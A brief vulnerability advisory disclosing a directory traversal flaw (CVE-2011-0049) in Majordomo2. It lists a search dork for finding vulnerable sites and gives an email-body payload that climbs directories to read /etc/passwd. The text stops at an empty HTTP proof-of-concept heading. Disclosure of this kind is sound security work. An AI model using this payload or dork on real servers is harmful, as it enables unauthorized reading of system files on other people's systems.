Majordomo2 - Directory Traversal (SMTP/HTTP) - [CVE: 2011-0049] 2011-02-03 09:15:16

Original Advisory: https://sitewat.ch/en/Advisory/View/1
Credit: Michael Brooks (https://sitewat.ch)
Vulnerability: Directory Traversal
Software: Majordomo2
Vendor: http://www.mj2.org/
Affected Build: 20110121 and prior
Google dork:inurl:mj_wwwusr

Special thanks to Dave Miller, Reed Loden and the rest of the Mozilla
security team for handling the issue.

This vulnerability is exploitable via ALL of Majordomo2's interfaces.
e-mail*. Send an email to majordomo's mail interface (for example:
[email protected]) with the body of the message as follows:
help ../../../../../../../../../../../../../etc/passwd

I'll give you one guess as to the contents of the response email ;).

PoC for HTTP: